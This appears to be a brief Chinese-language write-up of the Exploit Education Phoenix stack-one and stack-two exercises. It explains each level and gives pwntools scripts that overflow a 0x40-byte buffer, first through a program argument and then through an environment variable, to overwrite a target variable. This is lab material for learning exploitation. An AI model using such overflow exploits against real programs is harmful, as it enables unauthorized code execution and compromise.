這兩個非常簡單,只有輸入數據的方式有所區別。和 zero 一樣,只是對於覆蓋的數據有要求。
stack-one#
將程序的第一個參數strcpy
到字符串中。
在 gdb 中,直接在 run 後面添加參數即可帶入參數。
pwntools 的 sh.run 可以接收字節數組作為參數,其中可以包含啟動參數。(查看了文檔,對於 run 方法:向後兼容。使用 system())
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
s = b"a" * 0x40 + p32(0x496c5962)
sh = shell.run(b"/opt/phoenix/amd64/stack-one " + s)
print(sh.recvlines(2))
stack-two#
這次是寫入環境變量中。
在這裡發現將 "\0" 寫入環境變量會出現問題,我們要求寫入的是 32 位數據,不應該使用 p64,使用了會自動補 0,然後報錯。
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
s = b"a" * 0x40 + p32(0x0d0a090a)
print(s)
s = s.decode()
print(s)
sh = shell.run(b"/opt/phoenix/amd64/stack-two", env={"ExploitEducation": s})
print(sh.recvlines(2))